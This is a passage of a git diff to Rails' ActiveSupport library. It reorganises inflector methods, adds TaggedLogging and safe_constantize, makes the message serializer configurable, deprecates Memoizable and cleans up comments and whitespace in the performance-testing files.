{ |(rule, replacement)| break if result.gsub!(rule, replacement) } - result.gsub(/_id$/, "").gsub(/_/, " ").capitalize - end - - # Capitalizes all the words and replaces some characters in the string to create - # a nicer looking title. +titleize+ is meant for creating pretty output. It is not - # used in the Rails internals. - # - # +titleize+ is also aliased as as +titlecase+. - # - # Examples: - # "man from the boondocks".titleize # => "Man From The Boondocks" - # "x-men: the last stand".titleize # => "X Men: The Last Stand" - def titleize(word) - humanize(underscore(word)).gsub(/\b('?[a-z])/) { $1.capitalize } - end - - # Create the name of a table like Rails does for models to table names. This method - # uses the +pluralize+ method on the last word in the string. - # - # Examples - # "RawScaledScorer".tableize # => "raw_scaled_scorers" - # "egg_and_ham".tableize # => "egg_and_hams" - # "fancyCategory".tableize # => "fancy_categories" - def tableize(class_name) - pluralize(underscore(class_name)) - end - - # Create a class name from a plural table name like Rails does for table names to models. - # Note that this returns a string and not a Class. (To convert to an actual class - # follow +classify+ with +constantize+.) - # - # Examples: - # "egg_and_hams".classify # => "EggAndHam" - # "posts".classify # => "Post" - # - # Singular names are not handled correctly: - # "business".classify # => "Busines" - def classify(table_name) - # strip out any leading schema name - camelize(singularize(table_name.to_s.sub(/.*\./, ''))) - end end end diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb index a2c4f7bfda..e76ee60dd7 100644 --- a/activesupport/lib/active_support/inflector/methods.rb +++ b/activesupport/lib/active_support/inflector/methods.rb @@ -1,3 +1,5 @@ +require 'active_support/inflector/inflections' + module ActiveSupport # The Inflector transforms words from singular to plural, class names to table names, modularized class names to ones without, # and class names to foreign keys. The default inflections for pluralization, singularization, and uncountable words are kept @@ -10,6 +12,44 @@ module ActiveSupport module Inflector extend self + # Returns the plural form of the word in the string. + # + # Examples: + # "post".pluralize # => "posts" + # "octopus".pluralize # => "octopi" + # "sheep".pluralize # => "sheep" + # "words".pluralize # => "words" + # "CamelOctopus".pluralize # => "CamelOctopi" + def pluralize(word) + result = word.to_s.dup + + if word.empty? || inflections.uncountables.include?(result.downcase) + result + else + inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) } + result + end + end + + # The reverse of +pluralize+, returns the singular form of a word in a string. + # + # Examples: + # "posts".singularize # => "post" + # "octopi".singularize # => "octopus" + # "sheep".singularize # => "sheep" + # "word".singularize # => "word" + # "CamelOctopi".singularize # => "CamelOctopus" + def singularize(word) + result = word.to_s.dup + + if inflections.uncountables.any? { |inflection| result =~ /\b(#{inflection})\Z/i } + result + else + inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) } + result + end + end + # By default, +camelize+ converts strings to UpperCamelCase. If the argument to +camelize+ # is set to <tt>:lower</tt> then +camelize+ produces lowerCamelCase. # @@ -25,12 +65,14 @@ module ActiveSupport # though there are cases where that does not hold: # # "SSLError".underscore.camelize # => "SslError" - def camelize(lower_case_and_underscored_word, first_letter_in_uppercase = true) - if first_letter_in_uppercase - lower_case_and_underscored_word.to_s.gsub(/\/(.?)/) { "::#{$1.upcase}" }.gsub(/(?:^|_)(.)/) { $1.upcase } + def camelize(term, uppercase_first_letter = true) + string = term.to_s + if uppercase_first_letter + string = string.sub(/^[a-z\d]*/) { inflections.acronyms[$&] || $&.capitalize } else - lower_case_and_underscored_word.to_s[0].chr.downcase + camelize(lower_case_and_underscored_word)[1..-1] + string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase } end + string.gsub(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }.gsub('/', '::') end # Makes an underscored, lowercase form from the expression in the string. @@ -48,13 +90,68 @@ module ActiveSupport def underscore(camel_cased_word) word = camel_cased_word.to_s.dup word.gsub!(/::/, '/') - word.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2') + word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" } + word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2') word.gsub!(/([a-z\d])([A-Z])/,'\1_\2') word.tr!("-", "_") word.downcase! word end + # Capitalizes the first word and turns underscores into spaces and strips a + # trailing "_id", if any. Like +titleize+, this is meant for creating pretty output. + # + # Examples: + # "employee_salary" # => "Employee salary" + # "author_id" # => "Author" + def humanize(lower_case_and_underscored_word) + result = lower_case_and_underscored_word.to_s.dup + inflections.humans.each { |(rule, replacement)| break if result.gsub!(rule, replacement) } + result.gsub!(/_id$/, "") + result.gsub(/(_)?([a-z\d]*)/i) { "#{$1 && ' '}#{inflections.acronyms[$2] || $2.downcase}" }.gsub(/^\w/) { $&.upcase } + end + + # Capitalizes all the words and replaces some characters in the string to create + # a nicer looking title. +titleize+ is meant for creating pretty output. It is not + # used in the Rails internals. + # + # +titleize+ is also aliased as as +titlecase+. + # + # Examples: + # "man from the boondocks".titleize # => "Man From The Boondocks" + # "x-men: the last stand".titleize # => "X Men: The Last Stand" + # "TheManWithoutAPast".titleize # => "The Man Without A Past" + # "raiders_of_the_lost_ark".titleize # => "Raiders Of The Lost Ark" + def titleize(word) + humanize(underscore(word)).gsub(/\b('?[a-z])/) { $1.capitalize } + end + + # Create the name of a table like Rails does for models to table names. This method + # uses the +pluralize+ method on the last word in the string. + # + # Examples + # "RawScaledScorer".tableize # => "raw_scaled_scorers" + # "egg_and_ham".tableize # => "egg_and_hams" + # "fancyCategory".tableize # => "fancy_categories" + def tableize(class_name) + pluralize(underscore(class_name)) + end + + # Create a class name from a plural table name like Rails does for table names to models. + # Note that this returns a string and not a Class. (To convert to an actual class + # follow +classify+ with +constantize+.) + # + # Examples: + # "egg_and_hams".classify # => "EggAndHam" + # "posts".classify # => "Post" + # + # Singular names are not handled correctly: + # "business".classify # => "Busines" + def classify(table_name) + # strip out any leading schema name + camelize(singularize(table_name.to_s.sub(/.*\./, ''))) + end + # Replaces underscores with dashes in the string. # # Example: @@ -63,13 +160,32 @@ module ActiveSupport underscored_word.gsub(/_/, '-') end - # Removes the module part from the expression in the string. + # Removes the module part from the expression in the string: # - # Examples: # "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections" # "Inflections".demodulize # => "Inflections" - def demodulize(class_name_in_module) - class_name_in_module.to_s.gsub(/^.*::/, '') + # + # See also +deconstantize+. + def demodulize(path) + path = path.to_s + if i = path.rindex('::') + path[(i+2)..-1] + else + path + end + end + + # Removes the rightmost segment from the constant expression in the string: + # + # "Net::HTTP".deconstantize # => "Net" + # "::Net::HTTP".deconstantize # => "::Net" + # "String".deconstantize # => "" + # "::String".deconstantize # => "" + # "".deconstantize # => "" + # + # See also +demodulize+. + def deconstantize(path) + path.to_s[0...(path.rindex('::') || 0)] # implementation based on the one in facets' Module#spacename end # Creates a foreign key name from a class name. @@ -127,6 +243,39 @@ module ActiveSupport end end + # Tries to find a constant with the name specified in the argument string: + # + # "Module".safe_constantize # => Module + # "Test::Unit".safe_constantize # => Test::Unit + # + # The name is assumed to be the one of a top-level constant, no matter whether + # it starts with "::" or not. No lexical context is taken into account: + # + # C = 'outside' + # module M + # C = 'inside' + # C # => 'inside' + # "C".safe_constantize # => 'outside', same as ::C + # end + # + # nil is returned when the name is not in CamelCase or the constant (or part of it) is + # unknown. + # + # "blargle".safe_constantize # => nil + # "UnknownModule".safe_constantize # => nil + # "UnknownModule::Foo::Bar".safe_constantize # => nil + # + def safe_constantize(camel_cased_word) + begin + constantize(camel_cased_word) + rescue NameError => e + raise unless e.message =~ /uninitialized constant #{const_regexp(camel_cased_word)}$/ || + e.name.to_s == camel_cased_word.to_s + rescue ArgumentError => e + raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/ + end + end + # Turns a number into an ordinal string used to denote the position in an # ordered sequence such as 1st, 2nd, 3rd, 4th. # @@ -149,5 +298,18 @@ module ActiveSupport end end end + + private + + # Mount a regular expression that will match part by part of the constant. + # For instance, Foo::Bar::Baz will generate Foo(::Bar(::Baz)?)? + def const_regexp(camel_cased_word) #:nodoc: + parts = camel_cased_word.split("::") + last = parts.pop + + parts.reverse.inject(last) do |acc, part| + part.empty? ? acc : "#{part}(::#{acc})?" + end + end end end diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb index d22fe14b33..469ae69258 100644 --- a/activesupport/lib/active_support/json/encoding.rb +++ b/activesupport/lib/active_support/json/encoding.rb @@ -1,6 +1,5 @@ require 'active_support/core_ext/object/to_json' require 'active_support/core_ext/module/delegation' -require 'active_support/deprecation' require 'active_support/json/variable' require 'active_support/ordered_hash' @@ -14,6 +13,7 @@ require 'time' require 'active_support/core_ext/time/conversions' require 'active_support/core_ext/date_time/conversions' require 'active_support/core_ext/date/conversions' +require 'set' module ActiveSupport class << self @@ -38,8 +38,8 @@ module ActiveSupport attr_reader :options def initialize(options = nil) - @options = options - @seen = [] + @options = options || {} + @seen = Set.new end def encode(value, use_options = true) @@ -59,7 +59,7 @@ module ActiveSupport def options_for(value) if value.is_a?(Array) || value.is_a?(Hash) # hashes and arrays need to get encoder in the options, so that they can detect circular references - (options || {}).merge(:encoder => self) + options.merge(:encoder => self) else options end @@ -71,13 +71,12 @@ module ActiveSupport private def check_for_circular_references(value) - if @seen.any? { |object| object.equal?(value) } + unless @seen.add?(value.__id__) raise CircularReferenceError, 'object references itself' end - @seen.unshift value yield ensure - @seen.shift + @seen.delete(value.__id__) end end @@ -139,8 +138,6 @@ module ActiveSupport self.use_standard_json_time_format = true self.escape_html_entities_in_json = false end - - CircularReferenceError = Deprecation::DeprecatedConstantProxy.new('ActiveSupport::JSON::CircularReferenceError', Encoding::CircularReferenceError) end end diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb index 1c4dd24227..6296c1d4b8 100644 --- a/activesupport/lib/active_support/log_subscriber.rb +++ b/activesupport/lib/active_support/log_subscriber.rb @@ -3,8 +3,8 @@ require 'active_support/core_ext/class/attribute' module ActiveSupport # ActiveSupport::LogSubscriber is an object set to consume ActiveSupport::Notifications - # with solely purpose of logging. The log subscriber dispatches notifications to a - # registered object based on its given namespace. + # with the sole purpose of logging them. The log subscriber dispatches notifications to + # a registered object based on its given namespace. # # An example would be Active Record log subscriber responsible for logging queries: # @@ -109,8 +109,8 @@ module ActiveSupport # Set color by using a string or one of the defined constants. If a third # option is set to true, it also adds bold to the string. This is based - # on Highline implementation and it automatically appends CLEAR to the end - # of the returned String. + # on the Highline implementation and will automatically append CLEAR to the + # end of the returned String. # def color(text, color, bold=false) return text unless colorize_logging diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb index 3e54134c5c..dcfcf0b63c 100644 --- a/activesupport/lib/active_support/log_subscriber/test_helper.rb +++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb @@ -18,8 +18,8 @@ module ActiveSupport # Developer.all # wait # assert_equal 1, @logger.logged(:debug).size - # assert_match /Developer Load/, @logger.logged(:debug).last - # assert_match /SELECT \* FROM "developers"/, @logger.logged(:debug).last + # assert_match(/Developer Load/, @logger.logged(:debug).last) + # assert_match(/SELECT \* FROM "developers"/, @logger.logged(:debug).last) # end # end # diff --git a/activesupport/lib/active_support/memoizable.rb b/activesupport/lib/active_support/memoizable.rb index 0a7bcd5bb8..4c67676ad5 100644 --- a/activesupport/lib/active_support/memoizable.rb +++ b/activesupport/lib/active_support/memoizable.rb @@ -1,8 +1,15 @@ require 'active_support/core_ext/kernel/singleton_class' require 'active_support/core_ext/module/aliasing' +require 'active_support/deprecation' module ActiveSupport module Memoizable + def self.extended(base) + ActiveSupport::Deprecation.warn "ActiveSupport::Memoizable is deprecated and will be removed in future releases," \ + "simply use Ruby memoization pattern instead.", caller + super + end + def self.memoized_ivar_for(symbol) "@_memoized_#{symbol.to_s.sub(/\?\Z/, '_query').sub(/!\Z/, '_bang')}".to_sym end @@ -79,7 +86,11 @@ module ActiveSupport else # else def #{symbol}(*args) # def mime_type(*args) #{memoized_ivar} ||= {} unless frozen? # @_memoized_mime_type ||= {} unless frozen? - reload = args.pop if args.last == true || args.last == :reload # reload = args.pop if args.last == true || args.last == :reload + args_length = method(:#{original_method}).arity # args_length = method(:_unmemoized_mime_type).arity + if args.length == args_length + 1 && # if args.length == args_length + 1 && + (args.last == true || args.last == :reload) # (args.last == true || args.last == :reload) + reload = args.pop # reload = args.pop + end # end # if defined?(#{memoized_ivar}) && #{memoized_ivar} # if defined?(@_memoized_mime_type) && @_memoized_mime_type if !reload && #{memoized_ivar}.has_key?(args) # if !reload && @_memoized_mime_type.has_key?(args) diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb index 4f7cd12d48..e14386a85d 100644 --- a/activesupport/lib/active_support/message_encryptor.rb +++ b/activesupport/lib/active_support/message_encryptor.rb @@ -13,9 +13,15 @@ module ActiveSupport class InvalidMessage < StandardError; end OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError - def initialize(secret, cipher = 'aes-256-cbc') + def initialize(secret, options = {}) + unless options.is_a?(Hash) + ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :cipher => 'algorithm' to specify the cipher algorithm." + options = { :cipher => options } + end + @secret = secret - @cipher = cipher + @cipher = options[:cipher] || 'aes-256-cbc' + @serializer = options[:serializer] || Marshal end def encrypt(value) @@ -27,7 +33,7 @@ module ActiveSupport cipher.key = @secret cipher.iv = iv - encrypted_data = cipher.update(Marshal.dump(value)) + encrypted_data = cipher.update(@serializer.dump(value)) encrypted_data << cipher.final [encrypted_data, iv].map {|v| ActiveSupport::Base64.encode64s(v)}.join("--") @@ -44,7 +50,7 @@ module ActiveSupport decrypted_data = cipher.update(encrypted_data) decrypted_data << cipher.final - Marshal.load(decrypted_data) + @serializer.load(decrypted_data) rescue OpenSSLCipherError, TypeError raise InvalidMessage end diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb index 8f3946325a..9d7c81142a 100644 --- a/activesupport/lib/active_support/message_verifier.rb +++ b/activesupport/lib/active_support/message_verifier.rb @@ -18,12 +18,23 @@ module ActiveSupport # self.current_user = User.find(id) # end # + # By default it uses Marshal to serialize the message. If you want to use another + # serialization method, you can set the serializer attribute to something that responds + # to dump and load, e.g.: + # + # @verifier.serializer = YAML class MessageVerifier class InvalidSignature < StandardError; end - def initialize(secret, digest = 'SHA1') + def initialize(secret, options = {}) + unless options.is_a?(Hash) + ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :digest => 'algorithm' to specify the digest algorithm." + options = { :digest => options } + end + @secret = secret - @digest = digest + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal end def verify(signed_message) @@ -31,14 +42,14 @@ module ActiveSupport data, digest = signed_message.split("--") if data.present? && digest.present? && secure_compare(digest, generate_digest(data)) - Marshal.load(ActiveSupport::Base64.decode64(data)) + @serializer.load(ActiveSupport::Base64.decode64(data)) else raise InvalidSignature end end def generate(value) - data = ActiveSupport::Base64.encode64s(Marshal.dump(value)) + data = ActiveSupport::Base64.encode64s(@serializer.dump(value)) "#{data}--#{generate_digest(data)}" end diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb index f9607f1aaf..b78d92f599 100644 --- a/activesupport/lib/active_support/multibyte/chars.rb +++ b/activesupport/lib/active_support/multibyte/chars.rb @@ -331,8 +331,7 @@ module ActiveSupport #:nodoc: # when the storage for a string is limited for some reason. # # Example: - # s = 'こんにちは' - # s.mb_chars.limit(7) # => "こに" + # 'こんにちは'.mb_chars.limit(7).to_s # => "こん" def limit(limit) slice(0...translate_offset(limit)) end diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb index 513f83e445..754ca9290b 100644 --- a/activesupport/lib/active_support/multibyte/unicode.rb +++ b/activesupport/lib/active_support/multibyte/unicode.rb @@ -1,3 +1,4 @@ +# encoding: utf-8 module ActiveSupport module Multibyte module Unicode diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb index 77696eb1db..b5a70d5933 100644 --- a/activesupport/lib/active_support/notifications.rb +++ b/activesupport/lib/active_support/notifications.rb @@ -1,5 +1,3 @@ -require 'active_support/core_ext/module/delegation' - module ActiveSupport # Notifications provides an instrumentation API for Ruby. To instrument an # action in Ruby you just need to do: diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb index 441fefb491..3941c285a2 100644 --- a/activesupport/lib/active_support/notifications/instrumenter.rb +++ b/activesupport/lib/active_support/notifications/instrumenter.rb @@ -1,4 +1,3 @@ -require 'active_support/secure_random' require 'active_support/core_ext/module/delegation' module ActiveSupport diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb index 762a64a881..0264133581 100644 --- a/activesupport/lib/active_support/ordered_hash.rb +++ b/activesupport/lib/active_support/ordered_hash.rb @@ -6,7 +6,7 @@ end require 'yaml' YAML.add_builtin_type("omap") do |type, val| - ActiveSupport::OrderedHash[val.map(&:to_a).map(&:first)] + ActiveSupport::OrderedHash[val.map{ |v| v.to_a.first }] end module ActiveSupport @@ -47,6 +47,11 @@ module ActiveSupport self end + # Returns true to make sure that this hash is extractable via <tt>Array#extract_options!</tt> + def extractable_options? + true + end + # Hash is ordered in Ruby 1.9! if RUBY_VERSION < '1.9' @@ -158,7 +163,11 @@ module ActiveSupport self end - alias_method :each_pair, :each + def each_pair + return to_enum(:each_pair) unless block_given? + @keys.each {|key| yield key, self[key]} + self + end alias_method :select, :find_all diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb index 8d8e6ebc58..bf81567d22 100644 --- a/activesupport/lib/active_support/ordered_options.rb +++ b/activesupport/lib/active_support/ordered_options.rb @@ -36,6 +36,10 @@ module ActiveSupport #:nodoc: self[name] end end + + def respond_to?(name) + true + end end class InheritableOptions < OrderedOptions diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb index 04df2ea562..1638512af0 100644 --- a/activesupport/lib/active_support/railtie.rb +++ b/activesupport/lib/active_support/railtie.rb @@ -1,5 +1,4 @@ require "active_support" -require "rails" require "active_support/i18n_railtie" module ActiveSupport diff --git a/activesupport/lib/active_support/secure_random.rb b/activesupport/lib/active_support/secure_random.rb deleted file mode 100644 index 52f8c72b77..0000000000 --- a/activesupport/lib/active_support/secure_random.rb +++ /dev/null @@ -1,6 +0,0 @@ -require 'securerandom' - -module ActiveSupport - # Use Ruby's SecureRandom library. - SecureRandom = ::SecureRandom # :nodoc: -end diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb new file mode 100644 index 0000000000..a59fc26d5d --- /dev/null +++ b/activesupport/lib/active_support/tagged_logging.rb @@ -0,0 +1,63 @@ +require 'active_support/core_ext/object/blank' +require 'logger' + +module ActiveSupport + # Wraps any standard Logger class to provide tagging capabilities. Examples: + # + # Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) + # Logger.tagged("BCX") { Logger.info "Stuff" } # Logs "[BCX] Stuff" + # Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff" + # Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" + # + # This is used by the default Rails.logger as configured by Railties to make it easy to stamp log lines + # with subdomains, request ids, and anything else to aid debugging of multi-user production applications. + class TaggedLogging + def initialize(logger) + @logger = logger + @tags = Hash.new { |h,k| h[k] = [] } + end + + def tagged(*new_tags) + tags = current_tags + new_tags = Array.wrap(new_tags).flatten.reject(&:blank?) + tags.concat new_tags + yield + ensure + new_tags.size.times { tags.pop } + end + + def add(severity, message = nil, progname = nil, &block) + @logger.add(severity, "#{tags_text}#{message}", progname, &block) + end + + %w( fatal error warn info debug unkown ).each do |severity| + eval <<-EOM, nil, __FILE__, __LINE__ + 1 + def #{severity}(progname = nil, &block) + add(Logger::#{severity.upcase}, progname, &block) + end + EOM + end + + def flush(*args) + @tags.delete(Thread.current) + @logger.flush(*args) if @logger.respond_to?(:flush) + end + + def method_missing(method, *args) + @logger.send(method, *args) + end + + protected + + def tags_text + tags = current_tags + if tags.any? + tags.collect { |tag| "[#{tag}]" }.join(" ") + " " + end + end + + def current_tags + @tags[Thread.current] + end + end +end diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb index 05da50e150..f3629ada5b 100644 --- a/activesupport/lib/active_support/testing/assertions.rb +++ b/activesupport/lib/active_support/testing/assertions.rb @@ -45,15 +45,17 @@ module ActiveSupport # post :delete, :id => ... # end def assert_difference(expression, difference = 1, message = nil, &block) - exps = Array.wrap(expression).map { |e| + expressions = Array.wrap expression + + exps = expressions.map { |e| e.respond_to?(:call) ? e : lambda { eval(e, block.binding) } } before = exps.map { |e| e.call } yield - exps.each_with_index do |e, i| - error = "#{e.inspect} didn't change by #{difference}" + expressions.zip(exps).each_with_index do |(code, e), i| + error = "#{code.inspect} didn't change by #{difference}" error = "#{message}.\n#{error}" if message assert_equal(before[i] + difference, e.call, error) end @@ -68,7 +70,7 @@ module ActiveSupport # # A error message can be specified. # - # assert_no_difference 'Article.count', "An Article should not be destroyed" do + # assert_no_difference 'Article.count', "An Article should not be created" do # post :create, :article => invalid_attributes # end def assert_no_difference(expression, message = nil, &block) diff --git a/activesupport/lib/active_support/testing/performance.rb b/activesupport/lib/active_support/testing/performance.rb index 02c19448fd..dd23f8d82d 100644 --- a/activesupport/lib/active_support/testing/performance.rb +++ b/activesupport/lib/active_support/testing/performance.rb @@ -9,7 +9,7 @@ module ActiveSupport module Testing module Performance extend ActiveSupport::Concern - + included do superclass_delegating_accessor :profile_options self.profile_options = {} @@ -20,7 +20,7 @@ module ActiveSupport include ForClassicTestUnit end end - + # each implementation should define metrics and freeze the defaults DEFAULTS = if ARGV.include?('--benchmark') # HAX for rake test @@ -32,7 +32,7 @@ module ActiveSupport :output => 'tmp/performance', :benchmark => false } end - + def full_profile_options DEFAULTS.merge(profile_options) end @@ -40,7 +40,7 @@ module ActiveSupport def full_test_name "#{self.class.name}##{method_name}" end - + module ForMiniTest def run(runner) @runner = runner @@ -53,7 +53,7 @@ module ActiveSupport end end end - + return end @@ -122,7 +122,7 @@ module ActiveSupport protected # overridden by each implementation def run_gc; end - + def run_warmup run_gc @@ -132,7 +132,7 @@ module ActiveSupport run_gc end - + def run_profile(metric) klass = full_profile_options[:benchmark] ? Benchmarker : Profiler performer = klass.new(self, metric) @@ -163,7 +163,7 @@ module ActiveSupport "#{full_profile_options[:output]}/#{full_test_name}_#{@metric.name}" end end - + # overridden by each implementation class Profiler < Performer def time_with_block @@ -171,7 +171,7 @@ module ActiveSupport yield Time.now - before end - + def run; end def record; end end @@ -181,10 +181,10 @@ module ActiveSupport super @supported = @metric.respond_to?('measure') end - + def run return unless @supported - + full_profile_options[:runs].to_i.times { run_test(@metric, :benchmark) } @total = @metric.total end @@ -237,7 +237,7 @@ module ActiveSupport "#{super}.csv" end end - + module Metrics def self.[](name) const_get(name.to_s.camelize) @@ -247,7 +247,7 @@ module ActiveSupport class Base include ActionView::Helpers::NumberHelper - + attr_reader :total def initialize @@ -265,15 +265,15 @@ module ActiveSupport @total += (measure - before) end end - + # overridden by each implementation def profile; end - + protected # overridden by each implementation def with_gc_stats; end end - + class Time < Base def measure ::Time.now.to_f @@ -287,19 +287,19 @@ module ActiveSupport end end end - + class Amount < Base def format(measurement) number_with_delimiter(measurement.floor) end end - + class DigitalInformationUnit < Base def format(measurement) number_to_human_size(measurement, :precision => 2) end end - + # each implementation provides its own metrics like ProcessTime, Memory or GcRuns end end diff --git a/activesupport/lib/active_support/testing/performance/jruby.rb b/activesupport/lib/active_support/testing/performance/jruby.rb index 6b27959840..b347539f13 100644 --- a/activesupport/lib/active_support/testing/performance/jruby.rb +++ b/activesupport/lib/active_support/testing/performance/jruby.rb @@ -1,6 +1,6 @@ require 'jruby/profiler' -require 'java' -import java.lang.management.ManagementFactory +require 'java' +java_import java.lang.management.ManagementFactory module ActiveSupport module Testing @@ -12,21 +12,21 @@ module ActiveSupport { :metrics => [:wall_time], :formats => [:flat, :graph] } end).freeze - + protected def run_gc ManagementFactory.memory_mx_bean.gc - end + end class Profiler < Performer def initialize(*args) super @supported = @metric.is_a?(Metrics::WallTime) end - + def run return unless @supported - + @total = time_with_block do @data = JRuby::Profiler.profile do full_profile_options[:runs].to_i.times { run_test(@metric, :profile) } @@ -36,7 +36,7 @@ module ActiveSupport def record return unless @supported - + klasses = full_profile_options[:formats].map { |f| JRuby::Profiler.const_get("#{f.to_s.camelize}ProfilePrinter") }.compact klasses.each do |klass| @@ -61,7 +61,7 @@ module ActiveSupport end end - module Metrics + module Metrics class Base def profile yield @@ -85,7 +85,7 @@ module ActiveSupport ManagementFactory.thread_mx_bean.get_current_thread_cpu_time / 1000 / 1000 / 1000.0 # seconds end end - + class UserTime < Time def measure ManagementFactory.thread_mx_bean.get_current_thread_user_time / 1000 / 1000 / 1000.0 # seconds @@ -97,7 +97,7 @@ module ActiveSupport ManagementFactory.memory_mx_bean.non_heap_memory_usage.used + ManagementFactory.memory_mx_bean.heap_memory_usage.used end end - + class GcRuns < Amount def measure ManagementFactory.garbage_collector_mx_beans.inject(0) { |total_runs, current_gc| total_runs += current_gc.collection_count } diff --git a/activesupport/lib/active_support/testing/performance/rubinius.rb b/activesupport/lib/active_support/testing/performance/rubinius.rb index 198d235548..d9ebfbe352 100644 --- a/activesupport/lib/active_support/testing/performance/rubinius.rb +++ b/activesupport/lib/active_support/testing/performance/rubinius.rb @@ -10,12 +10,12 @@ module ActiveSupport { :metrics => [:wall_time], :formats => [:flat, :graph] } end).freeze - + protected def run_gc GC.run(true) end - + class Performer; end class Profiler < Performer @@ -23,35 +23,35 @@ module ActiveSupport super @supported = @metric.is_a?(Metrics::WallTime) end - + def run return unless @supported - + @profiler = Rubinius::Profiler::Instrumenter.new - + @total = time_with_block do @profiler.profile(false) do full_profile_options[:runs].to_i.times { run_test(@metric, :profile) } end end end - + def record return unless @supported - + if(full_profile_options[:formats].include?(:flat)) create_path_and_open_file(:flat) do |file| @profiler.show(file) end end - + if(full_profile_options[:formats].include?(:graph)) create_path_and_open_file(:graph) do |file| @profiler.show(file) end end end - + protected def create_path_and_open_file(printer_name) fname = "#{output_filename}_#{printer_name}.txt" @@ -62,10 +62,10 @@ module ActiveSupport end end - module Metrics + module Metrics class Base attr_reader :loopback - + def profile yield end diff --git a/activesupport/lib/active_support/testing/performance/ruby.rb b/activesupport/lib/active_support/testing/performance/ruby.rb index b29ec6719c..7d6d047ef6 100644 --- a/activesupport/lib/active_support/testing/performance/ruby.rb +++ b/activesupport/lib/active_support/testing/performance/ruby.rb @@ -16,7 +16,7 @@ module ActiveSupport :metrics => [:process_time, :memory, :objects], :formats => [:flat, :graph_html, :call_tree, :call_stack] } end).freeze - + protected def run_gc GC.start @@ -77,7 +77,7 @@ module ActiveSupport def measure_mode self.class::Mode end - + def profile RubyProf.resume yield @@ -91,7 +91,7 @@ module ActiveSupport yield end end - + class ProcessTime < Time Mode = RubyProf::PROCESS_TIME if RubyProf.const_defined?(:PROCESS_TIME) diff --git a/activesupport/lib/active_support/testing/performance/ruby/mri.rb b/activesupport/lib/active_support/testing/performance/ruby/mri.rb index 86e650050b..142279dd6e 100644 --- a/activesupport/lib/active_support/testing/performance/ruby/mri.rb +++ b/activesupport/lib/active_support/testing/performance/ruby/mri.rb @@ -15,7 +15,7 @@ module ActiveSupport end end end - + class Memory < DigitalInformationUnit # Ruby 1.8 + ruby-prof wrapper if RubyProf.respond_to?(:measure_memory) @@ -24,7 +24,7 @@ module ActiveSupport end end end - + class Objects < Amount # Ruby 1.8 + ruby-prof wrapper if RubyProf.respond_to?(:measure_allocations) @@ -33,7 +33,7 @@ module ActiveSupport end end end - + class GcRuns < Amount # Ruby 1.8 + ruby-prof wrapper if RubyProf.respond_to?(:measure_gc_runs) @@ -42,7 +42,7 @@ module ActiveSupport end end end - + class GcTime < Time # Ruby 1.8 + ruby-prof wrapper if RubyProf.respond_to?(:measure_gc_time) @@ -55,5 +55,3 @@ module ActiveSupport end end end - - diff --git a/activesupport/lib/active_support/testing/performance/ruby/yarv.rb b/activesupport/lib/active_support/testing/performance/ruby/yarv.rb index 62095a8fe4..7873262331 100644 --- a/activesupport/lib/active_support/testing/performance/ruby/yarv.rb +++ b/activesupport/lib/active_support/testing/performance/ruby/yarv.rb @@ -15,7 +15,7 @@ module ActiveSupport end end end - + class Memory < DigitalInformationUnit # Ruby 1.9 + GCdata patch if GC.respond_to?(:malloc_allocated_size) @@ -24,7 +24,7 @@ module ActiveSupport end end end - + class Objects < Amount # Ruby 1.9 + GCdata patch if GC.respond_to?(:malloc_allocations) @@ -33,7 +33,7 @@ module ActiveSupport end end end - + class GcRuns < Amount # Ruby 1.9 if GC.respond_to?(:count) @@ -42,7 +42,7 @@ module ActiveSupport end end end - + class GcTime < Time # Ruby 1.9 with GC::Profiler if defined?(GC::Profiler) && GC::Profiler.respond_to?(:total_time) diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb index 3d092529d6..63279d0e6d 100644 --- a/activesupport/lib/active_support/time_with_zone.rb +++ b/activesupport/lib/active_support/time_with_zone.rb @@ -12,7 +12,7 @@ module ActiveSupport # # Time.zone = 'Eastern 